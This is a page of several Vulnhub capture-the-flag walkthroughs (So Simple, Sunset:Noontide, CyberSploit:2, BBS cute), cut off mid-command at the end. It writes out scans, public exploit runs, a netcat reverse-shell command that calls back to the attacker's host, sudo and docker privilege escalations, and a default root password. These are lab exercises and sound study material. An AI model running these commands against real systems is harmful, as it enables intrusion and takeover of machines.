So Simple:1 - Walkthrough [Vulnhub]

Here's my solution for So Simple:1.
The machine can be downloaded from here.

Nmap
Scanning for all TCP ports.
nmap -sC -sV -p- 192.168.1.104


We find 2 ports open.

Directory Scan
Browsing the web, and checking the source did not reveal any hint.





Using dirb to scan for directories.
dirb http://192.168.1.104



We get a /wordpress directory.


Using wpscan to enumerate all plugins.
wpscan --url http://192.168.1.104/wordpress -e ap



We find an exploit for the plugin- social warfare, lets get this 46794.py



To run the exploit, we create a file named as- exploit.txt, which contains the payload, and we host it on local machine.




We run the exploit.
python 46794.py -t http://192.168.1.104/wordpress/ --payload-uri=http://192.168.1.108:8080/exploit.txt






By reading the contents, we find 2 users- max and steven.
Now lets change the payload in exploit.txt file, to get the private ssh key of the user- max.



Again we run the exploit.



We copy the ssh key to a file named as- key.

Getting Access
Before accessing, lets change the permission of ssh key file named as- key.
chmod 600 key
ssh -i key max@192.168.1.104


User Flag.



Privilege Escalation
From Max > Steven.
We see that we can execute service command as user- steven.
sudo -u steven service ../../bin/sh


User2 Flag.



From Steven > Root
We see that we can run /opt/tools/server-health.sh file as user- root.


Navigate to /opt directory, create a directory- tools, under this directory create a file and name it as server-health.sh.
We place the payload in server-health.sh file and give an execute permission to it.


Lets run this file as user- root, and on the other hand we start the netcat listener.




We have a reverse shell.

Root Flag.

Here's my solution for Sunset:Noontide. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.109 We find 3 ports (UnrealIRCd) open. Enumeration We search the exploit for UnrealIRCd and we find it here.     Getting Access To exploit we simply run the nmap command with the reverse shell payload and on the other hand we start the netcat listener. $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.1.108 1234' 192.168.1.109 We get the reverse shell. User Flag. Privilege Escalation We find that user- root has the default password- root. Lets switch to user- root and get the root flag. $ su root Password: root

CyberSploit:2 - Walkthrough [Vulnhub]

Here's my solution for CyberSploit:2. The Machine can be downloaded from here Nmap Starting with nmap scanning for all TCP open ports. nmap -sC -sV -p- 192.168.1.103 We find only 2 open ports. Enumeration Browsing the website, show list of usernames and passwords. Checking the source code reveal us a hint- ROT47. While browsing the website, we see a strange username- D92:=6?5C2 and its associated password as- 4J36CDA=@:E` From the hint we can guess that the username and password can be ROT47 encoded. Browsed Decode.fr to decode it, and we get the credentials as- username: shailendra password: cybersploit1 Getting Access Tried ssh with credential, and we get the access. ssh shailendra@192.168.1.1 password: cybersploit1 Found a file named as hint.txt, which gives a hint as docker, it can be used for privilege escalation, also the user is a member of docker group. Privilege Escalation docker run -v /:/mnt --rm -it alpine chroot /mnt sh And we get the flag

BBS(cute):1.0.1 - Walkthrough [Vulnhub]

Here's my solution for BBS(cute):1.0.1. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.111 We find 5 ports open. Enumeration Browsing the web hosted on port 80 (Default HTTP Port). We do not find any useful information lets run the dirb for scanning directories. $ dirb http://192.168.1.111 -r Browsing /index.php We see that it is built on CMS- CuteNews and its version 2.1.2 We search for the exploit and found it here.   Lets get this exploit. Getting Access But before running the exploit we need to make some changes. We remove all /CuteNews from the exploit code, in order to run it successfully. Done with the changes, now we run the exploit. $ python3 48800.py We provide the required information that is, the URL and hit enter. The commands are running fine, but we are not able to navigate to different directories, hence we try to get the normal reverse shell. We see netcat is present, we enter the payload. $ nc -e /bin/bash 19...
